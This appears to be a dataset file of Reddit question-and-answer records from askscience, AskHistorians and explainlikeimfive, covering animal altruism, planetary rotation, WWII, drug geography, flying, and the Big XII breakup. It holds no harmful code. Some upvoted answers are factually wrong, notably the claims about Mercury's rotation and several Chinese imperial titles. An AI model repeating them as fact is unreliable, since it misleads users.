{"q_id": "98vg89", "title": "Humans are known to help out an animal if it's stuck, injured or in problems in the wild. Are there any animals that are known to help other animals or humans in distress?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/98vg89/humans_are_known_to_help_out_an_animal_if_its/", "answers": {"a_id": ["e4j3gba", "e4j55bb", "e4jc62i", "e4jci5y", "e4jcktc", "e4jcpqa", "e4jcy7v", "e4jd3mb", "e4jd421", "e4jdnvb", "e4je9wx", "e4jepai", "e4jgtub", "e4jnhvc", "e4jvbuk", "e4jx5ay", "e4k6cua", "e4k7awt", "e4k8659", "e4k8pvm"], "score": [1806, 685, 937, 6543, 222, 557, 341, 610, 12039, 8744, 736, 109, 465, 74, 62, 18, 3, 2, 3, 10], "text": ["Many dogs have an instinct to help (whether they need it or not) people who are in water, but I suppose your question is more about wild animals, correct?\n\nIn the case of wild animals, dolphins have been documents to help drowning humans/dogs, but also fend off a shark on one occasion (BBC reenactment of the event: _URL_0_)", "[Beluga whale 'saves' diver](_URL_0_)\n\nA drowning diver has told how she was saved by a whale that pushed her back to the surface when she suffered crippling cramps.\n\n", "There was the case where a leopard seal [adopted a photographer and tried to feed him penguins](_URL_0_)", "Elephants have been reported many times to help humans and animals, although the case is more often than not \"helping by simply avoiding to crush someone under their enormous weight\". The [Wikipedia article](_URL_0_) gives several examples of elephant helpfulness. In general, elephants have very strong feelings of mourning, compassion and empathy both towards their kin and other creatures, and it seems they're very aware of how fragile most things are compared to themselves.\n\nElephants are the best.", "There are a lot of cases listed in [this](_URL_0_). \nI\u2019m not sure wether it\u2019s considered \u201chelping out\u201d but some animals have taken care of human children and started to raise them as one of their own species or at least accepted them.\n", "Humpback whales have been known to drive off killer whales, preventing them from attacking female humpbacks with calves, unrelated whales like sperm whales and calves, and even seals.\n[Here's a National Geographic article about it.](_URL_0_)\n", "Dolphins are trained by the military to swim, hard, into hostiles or floating....items.  They apparently like/prefer women and are gentler to them; Eg, they were to demonstrate it with this woman I know and the dolphin refused to swim up and bump her.  It just circled her.  The trainer said they never will, for some reason, especially if the woman is menstruating.  ", "[Rats](_URL_1_) show empathy. Though was a case done in a lab, I believe rats have been found to be empathetic outside of a laboratory as well.\n\nHere's another article since the first is from 2011:\n\n[Article from 2015](_URL_0_)\n\n", "There are *loooooads* of cases of animals saving humans and other animals.  I am going to stick to purely wild animals (no pets, no livestock, no zoo animals) saving humans, because I find them the most interesting.\n\nIn 2005, a 12-year-old Ethiopian girl was saved from kidnappers by [three lions](_URL_1_), who then stayed with her until rescuers arrived.  Some have theorised that the lions originally planned to eat the girl, but were then confused when her cries sounded like those of a cub in distress.\n\nIn 2000, a teenage boy jumped off the Golden Gate bridge in an attempted suicide.  A [California seal lion](_URL_0_) repeatedly swam around him and kept lifting him to the surface to breathe.  There are [numerous reported cases](_URL_3_) of dolphins doing the same thing for drowning people, or else warning divers of the presence of large sharks.\n\nIn 1974, a 52-year-old woman caught in a shipwreck was saved by a [sea turtle](_URL_2_).  Bizarrely, the animal allowed her to ride on its back for 36 hours until she was rescued.\n\nIn one of my favourite cases, the human in question didn't actually need to be saved!  In 2013, a National Geographic photographer was videoing leopard seals in the Antarctic.  A massive female began approaching him very closely - alarming, since leopard seals have been known to kill humans!  But this female instead began bringing him penguins.  First live ones, then wounded ones and eventually dead ones, going so far as to shove them right into the camera lens.  The photographer came to the conclusion that, for whatever reason, the female leopard seal was [trying to feed him](_URL_4_).\n\nThere are other cases!  Animal altruism and empathy has been well-documented.\n", "[In 2003 a group of elephants released a bunch of captive antelope.](_URL_0_) Conservationists thought the elephants were coming to take some of the food but instead, they circled the compound and one opened the latch to the gate. The antelope left, followed by the elephants, who never touched the food.", "Semi-related, but there was the story of a gorilla in 1996 that helped out a 3-year old who had fallen into its enclosure. It's possible that the gorilla just thought it had found a baby gorilla and so didn't know it had helped out a different species, but it's something.\n\n[_URL_0_](_URL_0_)", "A wild dolphin helped 2 stranded pygmy sperm whales navigate their way through a narrow channel out to see after being beached and re beaching themselves after getting back into the water. [Article here](_URL_0_)", "In a nature documentary on TV I remember seeing one antelope try to help another one out.  Antelope A had got the end of a twig (still attached to a bush) caught in the corner of it's eye.  Antelope B first tried to bat the twig away but stopped when this caused Antelope A visible pain/distress.  Antelope B then switched to licking where the twig was in the eye and got it out.  It was amazing to watch, not just the attempt to help but switching the approach when the first method was causing Antelope A pain.  I'm afraid I can't tell you which programme it was from but maybe a David Attenborough one?", "[Dolphins are famous in New Zealand](_URL_2_) for being friendly, helpful and at times even saving lives.\nWhen I was younger, schools would teach about  [Pelorus Jack](_URL_1_) who used to guide ships through Cook Strait and French pass.\n\nJust recently, [Moko](_URL_0_) became world famous for helping save two beached whales.\n\nEdit to add reputable sources ", "Rats will abandon food to save other rats. I read an article where a rat was given a choice of saving a drowning rat or getting chocolate and it chose to help it's companion.\n\n_URL_0_", "There is a really sad video of a dog pulling an injured dog off a busy highway. I saw it compared to a video of a small child getting run over repeatedly in China with people walking past doing nothing. The video ended by stating that the child died as a result of their injuries while the dog lived. \n\n_URL_0_ (NSFW/NSFL)\n\nThat's the link for those interested but beware it is one of those videos you can't unsee and will never leave you. ", "There are loads of documentations of humpback whales saving seals/ sea lions from orcas, and most recently I read about a humpback whale that protected a diver from a shark by shielding her/ nudging her away from it ", "Here are a few examples of just this very thing;\n\n\\- [_URL_0_](_URL_0_)", "I remember the story of this huge domestic pig that tore itself to shreads to get into the street where it lay down in front of cars and faked dying so he could get help to his 'mom' who was having a heart attack inside the house. Apparently a stranger stopped, got in the garden and shouted \"Is somebody here? Your pig is in distress' to which to woman could respond that so was she. ", "Witnessed something like this recently, which I found quite peculiar.\n\nI was observing a herd of common eland *(Taurotragus oryx)* searching for food in the brush. At one point, one of the animals got a branched log stuck on it's antlers. At first, it struggled by itself, dragging it's head along the ground and trees, trying to get it free, to no avail. \nAfter a good 10 minutes you could see the animal beginning to struggle to keep it's head up with the large heavy log. That's when it started to cry out and got 2 of his buddies attention.\nThe 2 other spent the next 10 minutes using their own head and antlers to try and pry out the log, while the victim kept it's head on the ground.\nOnce they got it loose, the freed animal rubbed his cheek over the cheek of his rescuers, which I perceived as a sign of appreciation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=cxuSRnVdwgM&amp;ab_channel=ActionforDolphins"], ["https://www.telegraph.co.uk/news/newstopics/howaboutthat/5931345/Beluga-whale-saves-diver.html"], ["https://www.wimp.com/leopard-seal-adopts-photographer/"], ["https://en.wikipedia.org/wiki/Elephant_cognition#Elephant_altruism"], ["https://en.m.wikipedia.org/wiki/Feral_child"], ["https://news.nationalgeographic.com/2016/08/humpback-whales-save-animals-killer-whales-explained/"], [], ["http://www.sciencemag.org/news/2015/05/rats-forsake-chocolate-save-drowning-companion", "https://www.livescience.com/17378-rats-show-empathy.html"], ["https://www.telegraph.co.uk/news/worldnews/northamerica/usa/11448514/San-Francisco-bridge-jumper-says-sea-lion-saved-him.html", "http://www.nbcnews.com/id/8305836/ns/world_news-africa/t/ethiopian-girl-reportedly-guarded-lions/", "https://www.trivia-library.com/b/mystery-and-strange-phenomenon-from-the-fortean-times-part-2.htm", "https://www.dolphins-world.com/dolphins-rescuing-humans/", "https://www.npr.org/2017/06/06/531735345/polar-photographer-shares-his-view-of-a-ferocious-but-fragile-ecosystem"], ["https://www.telegraph.co.uk/news/worldnews/africaandindianocean/1427058/Elephants-free-captive-antelope.html"], ["https://abcnews.go.com/US/gorilla-carries-year-boy-safety-fell-enclosure-1996/story?id=39479586"], ["http://i.stuff.co.nz/life-style/cutestuff/312295/Moko-the-friendly-dolphin-saves-whales"], [], ["https://www.doc.govt.nz/moko", "https://teara.govt.nz/en/photograph/4696/the-story-of-pelorus-jack", "https://media.newzealand.com/en/story-ideas/new-zealands-dolphin-tales/"], ["http://www.sciencemag.org/news/2015/05/rats-forsake-chocolate-save-drowning-companion"], ["https://youtu.be/WLyfGE0Tptg"], [], ["https://www.onegreenplanet.org/animalsandnature/amazing-animals-coming-to-the-aid-of-other-animals-videos/"], [], []]}
{"q_id": "88esec", "title": "Were non-German Wehrmacht and Waffen-SS volunteers required to learn German", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/88esec/were_nongerman_wehrmacht_and_waffenss_volunteers/", "answers": {"a_id": ["dwklssy"], "score": [7], "text": ["A basic understanding of German was required, yes.\n\nThere are two publications that I am aware of that aim to teach foreign soldiers the German language, or more precisely, a basic understanding of German military vocabulary.\n\nThese are the *[Bildsprecher Deutsch f\u00fcr Soldaten: Grundausbildung](_URL_2_)* and *[Bildsprecher Deutsch f\u00fcr Soldaten: Sonderausbildung](_URL_1_)*.\n\nAs you can tell from the covers, these publications rely rather heavily on drawings to get their message across.\n\nThe books both open with the following introduction (translated):\n\n > In war, many who do not speak German must become soldiers. [...] During the war there are no language teachers nor long moments of learning, instead, eight weeks parallel with basic training must suffice to teach the common language of regular service.\n\nThe *Grundausbildung* booklet is the \"basic training\" version, which explains the basic equipment, internal service (i.e. life in the barracks), the parts of the Gewehr 98, Maschinengewehr 34, Pistole 08 (Luger), ranks, a very basic scheme of organisation, closed order drill, terrain features, squad tactics, and some combat basics.\n\nTo give an example of the basic nature of it, [the page on the Gewehr 98](_URL_0_) has the following words on the left side of the page:\n\n > Firearm\n\n > Rifle\n\n > Carbine\n\n > Muzzle\n\n > Front sight (post)\n\n > Barrel\n\n > Cleaning rod\n\n > Rear sight (notch)\n\n > Sight (2+5)\n\n > Bolt\n\n > Trigger\n\n > Sling\n\n > Stock\n\nNot exactly a degree in mechanical engineering, but rather a basic understanding of firearms parts.\n\nThe second booklet, *Sonderausbildung* (Special training) goes into more depth with the particular *Waffen* (Artillery, tanks, supply, medical).\n\nSimilarly, the parts of a tank are described [using drawings as such.](_URL_3_).\n\n**Sources**\n\nBildsprecher Deutsch f\u00fcr Soldaten: Grundausbildung, Dr. Wilhelm Bode, Otto Schwartz  &  Co Verlag, 1944\n\nBildsprecher Deutsch f\u00fcr Soldaten: Sonderausbildung, Dr. Wilhelm Bode, Otto Schwartz  &  Co Verlag, 1944"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://i.imgur.com/awU06N3.png", "https://i.imgur.com/XUprb4e.jpg", "https://i.imgur.com/eTYCLW5.jpg", "https://i.imgur.com/JLCswSF.png"]]}
{"q_id": "6pktt1", "title": "Why are the days of Jupiter, Saturn and Uranus so fast compared to the days of Mercury and Venus?", "selftext": "There is absolutely no apparent pattern, no symmetry in those numbers, and there is no logic as to why, at least in my limited capabilities of course. It seems the bigger the planet, the faster it rotates, the smaller the planet the longer it rotates, except for Earth and Mars? Obviously I'm not an astronomer nor a mathematician.\n\n\n\nPlanet | Time\n---|---\nMercury | 58d 15h 30m\nVenus | 116d 18h 0m\nEarth | 23 hours 56 minutes and 4.1 seconds\nJupiter | 0d 9h 56m\ntext | 0d 10h 42m\ntext | 0d 17h 14m\n\n\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6pktt1/why_are_the_days_of_jupiter_saturn_and_uranus_so/", "answers": {"a_id": ["dkq9yqc", "dkqaysv", "dkqcdc3", "dkrc907"], "score": [2, 9, 13, 2], "text": ["It has something to do with the planet's inertia and path around the Sun. For example, Mercury, which is the smallest planet, has the least inertia in the solar system. Therefore it spins the slowest. I don't know why Venus is that slow though, it may be the extremely thick atmosphere around it. ", "Planets closer to the sun experience tidal forces, i.e. the force of gravity on one side of the planet is significantly different from the force on the other side. This effect is  relatively small even for planets like Mercury but with enough time it significantly slows their rotation. This is why a Mercurian day is equal to a Mercurian year the planet has become tidally locked, rotating at the slowest possible speed. Larger planets are both farther away, reducing the gravity disparity and have more inertia, meaning they're harder to slow down.", "The rotation rate of the terrestrial planets is mostly determined by the last few large collisions that formed them, and tidal forces. Mercury and Venus may rotate so slowly because they're close to the Sun, and the tidal force has slowed them down. Earth started out rotating much faster after the collision that formed the Moon, and tidal force from the Moon has gradually slowed down its rotation and moved the Moon's orbit outward.\n\nThe gas that formed the giant planets would have rotated faster as it moved inward, to conserve angular momentum, so the giant planets all rotate relatively quickly.", "A peripheral question: What is the definition of the \"spin\" of a gas giant? I assume, for example, that all the bands of Jupiter spin at the same rate, roughly. If that is the case, is the \"spin\" we're observing just superficial? Is the inside spinning faster? What exactly is the \"spin\" of a gas giant?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "6j6p48", "title": "What are some forgotten campaigns/fronts during WWII?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6j6p48/what_are_some_forgotten_campaignsfronts_during/", "answers": {"a_id": ["djc0eg1"], "score": [2], "text": ["In the middle east\nSyrian\nIraq\nPersia \nEurope\n\nNorway\nOperation Dragoon\nYugoslavia\n\nAny many parts of other fronts are ignored as well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "41tfu3", "title": "why is meth more pervasive in suburbs/rural communities and heroin in more urban ones?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/41tfu3/eli5_why_is_meth_more_pervasive_in_suburbsrural/", "answers": {"a_id": ["cz504yn", "cz5099l", "cz58omw", "cz5bbhi"], "score": [36, 29, 5, 2], "text": ["I do not know if that is true, but I do know making meth stinks up to high heavens, so areas with low population densities are easier for hiding its production.\n\nHeroin needs to be shipped from more or less tropical areas, so if you're shipping it anyway, might as well bring to areas with high population density as then there are more customers nearby.", "My money is on logistics. Most urban areas are near major shipping lines. Heroin isn't grown in the United States it is imported. Most international docks and airports are in fairly urban areas.\n\nIn rural areas you are less likely to have International Airport or international high volume dock. But you probably do have A high volume of garages and backyard shacks which help for making meth.", "I agree with the other comments, but I'd also venture to say the demographics of users has at least something to do with it. Heroin is a downer and meth is an upper. Heroin is popular with young white kids in the suburbs who get prescribed opiates and their addiction takes over. You need insurance to get access to the gateway to heroin(unless you're going straight to the hard stuff). Meth is more common in rural communities. Truck drivers, farmers, young people who want to stay up and party (and realize they just fucked up). \n\nWhere I'm from we have a shitload of tweakers, but mainly meth-heads. I live in one of the most productive agricultural region in the world. ", "Because meth happens where there's nothing to do or look at. It gives you something to do. \n\nHeroin is escapist. It takes you away and dumbs down the sensory overload that comes with city life. \n\nAt least as someone whose lived in nowhere and big urban centers, that's certainly how it seems to me. Echoed by some friends with unfortunate experiences. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2a5uwp", "title": "how to fly a plane.", "selftext": "I've always been curious... From commercial to small craft, what is the prep and sequence of button pushing and events that goes into getting a plane off the ground? I've seen (and been inside!) several cockpits, and they always seem so cluttered with 100s of controls, levers, and knobs.\n\nSo really, do you use all of those controls? From pre-flight prep to flying, what are the simple names for the controls you use to **just get off the ground?** What are the weirdest/or least used controls in commercial cockpits?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2a5uwp/eli5_how_to_fly_a_plane/", "answers": {"a_id": ["cirrn2h", "cirrrd4", "ciryb3n"], "score": [6, 2, 2], "text": ["~~_URL_0_\n\nThis one is better: _URL_1_\n\nalso\n\n_URL_2_", "Flying is easy.  Really all you have to do is throttle up, adjust for wind with rudder (the foot pedals), and away you go.\n\nIt's the navigation and landing that that all the controls, levers, and knobs are for.", "I'll have a go at this. But anything I write will be very much abbreviated - it takes hundreds of hours of flying to learn everything you need to know to fly an airliner, and it's not possible to get all of that into one post!\n\nWhen you first learnt to fly a light aircraft, you will be taught the effects of the main controls: the elevators (forwards/backwards for down/up) and ailerons (left/right) are operated by moving the control column, and the rudder pedals are operated with your feet. You will be taught to look out the window at the horizon, and to use the controls to keep the horizon at the correct place in the windscreen.\n\nAfter that, you will be taught how to use the power controls, flaps and trim. You will learn what some of the instruments are telling you, especially those that tell you how high you are and what way you're pointing.\n\nThese are all the controls/instruments you need to fly a light aircraft in good weather. Then it's a matter of learning the techniques to fly safely and accurately.\n\nYou'll learn how to navigate by looking out the window and comparing what you see to what's on a map. But as you continue your training, you'll be introduced to a variety of navigation aids - radios that can help you navigate even when you can't see the ground.\n\nYou'll move into more advanced aircraft, with more engines (therefore more controls and dials), and more complex engines (more controls per engine).\n\nYou will learn to fly in bad weather, when you can't see the horizon because you're in cloud. Now, some of the instruments that you were only vaguely aware of before become vital because they provide the information that you've lost by being in cloud and not having a visible horizon. You'll become very proficient at using those navigation aids, as well as the flight instruments.\n\nThen you move into even more advanced aircraft. Now we need to add controls for cabin pressurisation, hydraulics, more complex electronic systems and so on.\n\nBut as you add each level of complexity, the basics are still the same. The control column still works the way it did in your very first flying lesson. You still use the controls to put the horizon in the right place in the windscreen (or the equivalent on the instruments) - or perhaps you direct the autopilot so it can do this for you - just like you learnt the first time you took control of an aircraft.\n\nLet me know if you want to know more (although I probably won't be able to reply for a while as I'm going to bed now...)\n\nSource: 14 years as a pilot, 10 of those as a professional flying instructor."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=zc5aiqG48X4~~", "http://www.youtube.com/watch?v=kZaWNRwy_To", "http://www.youtube.com/watch?v=KsqjCbsQ74U"], [], []]}
{"q_id": "znoyu", "title": "What exactly are the repercussions from this year's drought on the international food supply?", "selftext": "What can we expect in the next few years?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/znoyu/what_exactly_are_the_repercussions_from_this/", "answers": {"a_id": ["c66c0e4"], "score": [4], "text": ["One of the aggravating factors is EISA (Energy independence and security act) which mandates a certain quota of ethanol be blended into auto fuels. with a huge reduction in corn production, and an unwillingness on the government's part to suspend the quota requirements, there's going to be problems. Mexico will likely have tortilla riots."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "19bifp", "title": "Two questions on Chinese monarchs", "selftext": "The first one is regarding the titles used by the Emperors. The Han dynasty Emperors seemed to have been called 'Ping xia', whereas the Ming dynasty Emperors were called 'Huang sha'. What is the difference? Were there any other titles for Emperors of other dynasties? It would also be very nice if you could list other titles of the lords and nobility.\n\nThe second one is regarding the language used by the royalty, nobility, and officials. Did they prefer to use classical Chinese to communicate (not for official orders) or local vernaculars? For example, if the capital was Chang'an, did the Emperor use the local dialect (I assume, with a strong royal accent) to communicate with immediate local officials such as magistrates or army generals, or did he use classical Chinese and expect them to understand? I assume a talented general from a humble origin would not be educated in classical prose. \n\nAlso, taking warring states into account, when one warlord conquered another state (example: Cao Cao conquering Yuan Shao's territories), how would the conquering forces go about assimilating surrendering officials and communicate with locals to assuage concerns of their safety in return for loyalty?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/19bifp/two_questions_on_chinese_monarchs/", "answers": {"a_id": ["c8niq52"], "score": [3], "text": ["In answer to the first question, every emperor had a reigning title and a \"year title\" that accompanied their reign.  Sometimes the reigning title and the ear title were the same (this is the case in Japan was still followed in Japan until the Showa era and is still pretty much followed, though it has largely been supplanted by the western calendar), but most of the time there was a separate Emperor Title and Era Name.  These titles varied, but the \"first\" Emperor often carried the word \"Zhu / \u7956,\" meaning ancestor/progenitor, indicating they were the \"first,\" such as Liu Bang, first Emperor of the Han (Emperor [Gaozhu](_URL_0_)) (I use \"first\" in quotes because many first emperors, out of filial loyalty, would often name their fathers, who never considered themselves emperors, to be the \"First\" emperor.  This was the case with Genghis Khan, who was considered the first emperor Taizhu/\u592a\u7956 of the Yuan in spite dying before the mongols pursued any real action against the Song, and Li Yuan Emperor Gaozu/\u9ad8\u7956, who was crowned by his third son, the Taizhong Emperor.)  Rulers have taken other names in the past--many have ruled under the guise of Prime Ministers, and Xiang Yu of Chu, Liu Bang's rival (and complete opposite.  Xiang Yu was bad tempered, uncharismatic, brash and too trusting, but generally true to his word and martial, whereas Liu Bang was a coward and unskilled in either tactics or combat, but charismatic, but that's another story) for the unification of China under the Qin, preferred to rule under the term Bahuang, \u9738\u738b, \"hegemon\" (in popular folklore and according to historian [Sima Qian](_URL_5_) this was the result of manipulation of Liu Bang's ally and later subordinate Zhang Liang, but that, too is naother story).  Emperors also often honorarily accepted terms from subordinates or their own pasts--Tang Taizhong and all the Emperors of the Yuan bore the title Khan (Taizhong for his subjugation of the northern mongoloid peoples, though they weren't really called \"mongols\" until the mongol tribe united them).  \n\nIn terms of other titles, you'll encounter quite a few, but one of the interesting ones is Huang, \"Emperor (\u7687)\" and Huang, \"King (\u738b).\"  Western translations prefer to refer to \u738b as \"Lord\" or \"Prince,\" but given the feudal nature of the warring states from which this title emanated, it means \"King\" (Sovereigns of other nations are generally given the title of King in the \"\u738b\" sense, in a way \"subordinating\" them to the Emperor.)  The term \u738b stands right below \"Emperor,\" and many future emperors were initially given the title \"\u738b\".  Other titles include \"\u541b,\" a generic term that can mean \"gentleman\" but is often meant to indicate a lord or an individual of great standing, or \"\u4faf,\" which indicates a noble, or \u516c, which corresponds to a Duke or a member of the Imperial household, whether by blood or simply honorarily.  All these are generally preceded by a title, often their fief or an honorary name.  \n\nThe second I know about as much as you do, I can simply note that vernacular chinese has much less in common with mandarin (which hails from the North) than with southern dialects such as Cantonese (Cantonese has seven tones versus Mandarin's five, and ancient chinese poems often rhyme in Cantonese where they do not in Mandarin).  I suppose it relates to the idea that, in the past, vernacular ENglish in Great Britain pre-revolution had more in common with modern American English than Modern British English.\n\nIn terms of the warring states, it varied by nation, but most kingdoms that grew to any appreciable extent integrated surrendered officials into their kingdom.  For the Chinese, who have for most of heir history subordinated the military to the literati, the first step a ruler who conquers through military might must do is to ingratiate himself with the population, and a lot of the times this came through using captured or surrendered officials, as is seen even in the Romance of the Three Kingdoms that you mention.  Depending on the situation, a warrior or official deserting his liege for a new ruler could be seen as doing the right thing or even showing nobility (as opposed to more martial cultures like Japan, which saw disloyalty of the retainers as wrong regardless of situation), though [those who refused out of loyalty](_URL_2_) were often also venerated.  For Civil Officials, the most obvious benefit was that most of these officials were well-acquainted with the conquered territories and their circumstances, making rule easy.  Almost all dynasties have [somebody](_URL_7_) [who](_URL_4_) [at](_URL_6_) [one](_URL_1_) [point](_URL_3_) fought against them.  As a result, most assimilation was simply done through surrendered officials, many of whom were more than willing to serve their new masters.  This was generally helped in that every dynasty formed following years of war, rebellion and natural disaster that generally combined at the end of each dynastic cycle, and most civilians were happy to submit for some peace and security."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Liu_Bang", "http://en.wikipedia.org/wiki/Zheng_Zhilong", "http://en.wikipedia.org/wiki/Shi_Kefa", "http://en.wikipedia.org/wiki/Pang_De", "http://en.wikipedia.org/wiki/Zheng_He", "http://en.wikipedia.org/wiki/Sima_Qian", "http://en.wikipedia.org/wiki/Yuwen_Shiji", "http://en.wikipedia.org/wiki/Chen_Ping_(Han_Dynasty)"]]}
{"q_id": "knw7l", "title": "why the big xii is falling apart", "selftext": "I go to KU, and haven't had much time to focus on sports.  This apparently affects my school.  Why is everyone leaving?  Is it because we smell bad?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/knw7l/eli5_why_the_big_xii_is_falling_apart/", "answers": {"a_id": ["c2lr3ti", "c2lraeo", "c2ls0iw", "c2ls5nr", "c2lr3ti", "c2lraeo", "c2ls0iw", "c2ls5nr"], "score": [7, 2, 2, 2, 7, 2, 2, 2], "text": ["Someone can probably provide a better answer as I tend to focus more on the Big East, but I can give you a general idea.\n\nKey factor in all of this - money.\n\nIn general, the Big XII has two television deals - one with Fox Sports that is shared evenly amongst all of the schools, and one with ABC that tends to gravitate more towards the schools that appear more on ABC (Texas, Oklahoma, etc.).\n\nThe smaller schools (Baylor, Texas Tech, etc.) want an equal share.  Texas, who receives more money from media deals than anyone in the Big 12, is willing to share all revenue evenly, but is not willing to share the $300 million over 20-years from a deal with ESPN to create The Longhorn Network.  This unwillingness to share didn't make Texas A & M happy, so they decided to bolt for the SEC.\n\nWith Texas A & M moving to the SEC, suddenly the Big 12 was left with 9 teams and the schools in the conference got scared that they wouldn't have a home, so they all began to find places to go to be safe.\n\nIn general, all the Big 12 schools (except for Texas A & M) still want to live together in one big house if they can - and maybe bring in a new roommate to live in Texas A & Ms room, and they are trying to now.  ", "It all started because of Texas, in my opinion.  Not just the Big 12 falling apart now, but the original threat when Nebraska and Colorado left.\n\nThe original Big 12 deal had the schools receiving different amounts of money based on a variety of factors, but it basically came down markets and football programs.  Texas was on the winning end of the revenue sharing and many of the smaller schools did not like that.  Some of the bigger schools that had more clout (like Nebraska) starting to look at leaving.  Colorado has, geographically, always wanted to align with the Pac-10 and Nebraska saw an equal opportunity revenue sharing deal (plus the opportunity to make more money than the Big 12 offered due to the Big 10 Network deal).  Both of these schools left while others (Missouri) announced plans to leave.\n\nFast forward a bit and, while Missouri was publicly announcing their intentions to join the Big 10, the Big 10 apparently didn't want them, so Missouri was up a creek.  After Nebraska and Colorado left, the remaining Big 12 teams got together and re-established their commitment to the Big 12.  They also agreed to split revenue evenly amongst the remaining schools for non-team networks (really only an issue for Texas).  With revenue sharing being split equally, Texas still has an advantage because of the Longhorn Network, which will net the school roughly $300M over 20 years.\n\nSome of the remaining Big 12 schools are unhappy because Texas is planning to show high school football games after Big 12 games on the Longhorn Network (which is something all of the schools had agreed would not happen -- unfair recruiting advantage) and also because one of the regular conference games is being broadcast only on the Longhorn Network and not on the Big 12 Network.\n\nTexas, because of the large markets and fanbase, has the option to go to most any conference, but they are most interested in going to a conference like the Pac-12 which will not take revenues from the Longhorn Network pool.  If Texas leaves the Big 12, they will take Texas Tech with them as they share the same Board of Regents.\n\nOklahoma is unhappy about the decision-making of the Big 12 Commissioner, Dan Beebee and also the issues listed above regarding games being telecast on the Longhorn Network.  If Oklahoma leaves the Big 12, they will take Oklahoma State with them, again because of the shared Board.  Both Texas and Oklahoma having sister schools actually makes transition easier because 2 schools joining a conference instead of 1 makes for even numbers and hence, easy scheduling.  It also means that a conference can hold a conference Championship game, which means millions in revenue.\n\nWith the Pac-12 declaring that they are no longer looking to expand, Texas now finds the Big 12 to be the most appealing conference because there are no revenue sharing requirements there for the Longhorn Network.  Oklahoma has now declared that they will stay in the Big 12 if Dan Beebee is fired and if they can put additional requirements on the Longhorn Network to not broadcast high school games.\n\nOut of all of this, football is driving the train.  Schools like KU, K-State, Baylor, and Iowa State are fucked because there are no large markets and the football teams all blow.  Unfortunately, basketball doesn't have any say at all.  If Texas or Oklahoma leave, the Big 12 will likely die and its teams split out into various other conferences or you will see the Big 12 re-born with new schools that are left over from the expansion mess.\n\nTL;DR - It's all about money and the sport that brings in the most money is football, so that's what's making the decisions.", "It's because Texas smells bad.\n\nNow that the joke is out of the way, here's what's happening.\n\nColorado and Nebraska split because they were realizing that the power in the conference was in Austin.  They wanted none of that and left.\n\nThen Texas came up with the Longhorn Network.  There are two problems here:\n\n1. No revenue sharing, even when Texas is visiting.  \n2. Texas is using it to run high school games to get a recruiting advantage: we'll run your game on national television, so consider coming to us!\n\nA & M didn't like that and is trying to leave.  If A & M goes, the conference is falling apart, with Baylor, Kansas, Kansas State, and Iowa State don't like (because they're likely to get relegated to the mid majors if the Big XII goes under).  \n\nOklahoma and Oklahoma State tried to bolt for the PAC-whatever.  The PAC was okay with it as long as two conditions were met:\n\n1. Texas came along.\n2. Texas gave up the LHN.\n\nTexas wasn't about to agree to number 2, so the PAC said no deal.  This may save the Big XII, but they do need to find two, maybe three teams.  The thing is that while you need two to three teams, the only people remotely interested in joining you that aren't in Texas are Brigham Young.  (Texas Christian and Houston would probably accept invites, but Texas doesn't want more recruiting competition in its state.  The former would be more logical than the latter: Texas Christian brings money and fans, while Houston just takes wins away from the other teams while being a financial drain that nobody gives a shit about.  Also, the quality of Houston's undergrad programs is mediocre at best.)\n\nSo where are we today?  Oklahoma is threatening to go indie if Texas doesn't agree to two demands:\n\n1. Revenue sharing must be implemented.\n2. Dan Beebe, the conference commissioner and Texas lapdog, has to become unemployed.\n\nIt looks like Texas may acquiesce to these demands.\n\ntl;dr: It's falling apart because the NFL doesn't have a minor league farm system, which has pumped money into college football.", "tl;dr to all of this: Texas", "Someone can probably provide a better answer as I tend to focus more on the Big East, but I can give you a general idea.\n\nKey factor in all of this - money.\n\nIn general, the Big XII has two television deals - one with Fox Sports that is shared evenly amongst all of the schools, and one with ABC that tends to gravitate more towards the schools that appear more on ABC (Texas, Oklahoma, etc.).\n\nThe smaller schools (Baylor, Texas Tech, etc.) want an equal share.  Texas, who receives more money from media deals than anyone in the Big 12, is willing to share all revenue evenly, but is not willing to share the $300 million over 20-years from a deal with ESPN to create The Longhorn Network.  This unwillingness to share didn't make Texas A & M happy, so they decided to bolt for the SEC.\n\nWith Texas A & M moving to the SEC, suddenly the Big 12 was left with 9 teams and the schools in the conference got scared that they wouldn't have a home, so they all began to find places to go to be safe.\n\nIn general, all the Big 12 schools (except for Texas A & M) still want to live together in one big house if they can - and maybe bring in a new roommate to live in Texas A & Ms room, and they are trying to now.  ", "It all started because of Texas, in my opinion.  Not just the Big 12 falling apart now, but the original threat when Nebraska and Colorado left.\n\nThe original Big 12 deal had the schools receiving different amounts of money based on a variety of factors, but it basically came down markets and football programs.  Texas was on the winning end of the revenue sharing and many of the smaller schools did not like that.  Some of the bigger schools that had more clout (like Nebraska) starting to look at leaving.  Colorado has, geographically, always wanted to align with the Pac-10 and Nebraska saw an equal opportunity revenue sharing deal (plus the opportunity to make more money than the Big 12 offered due to the Big 10 Network deal).  Both of these schools left while others (Missouri) announced plans to leave.\n\nFast forward a bit and, while Missouri was publicly announcing their intentions to join the Big 10, the Big 10 apparently didn't want them, so Missouri was up a creek.  After Nebraska and Colorado left, the 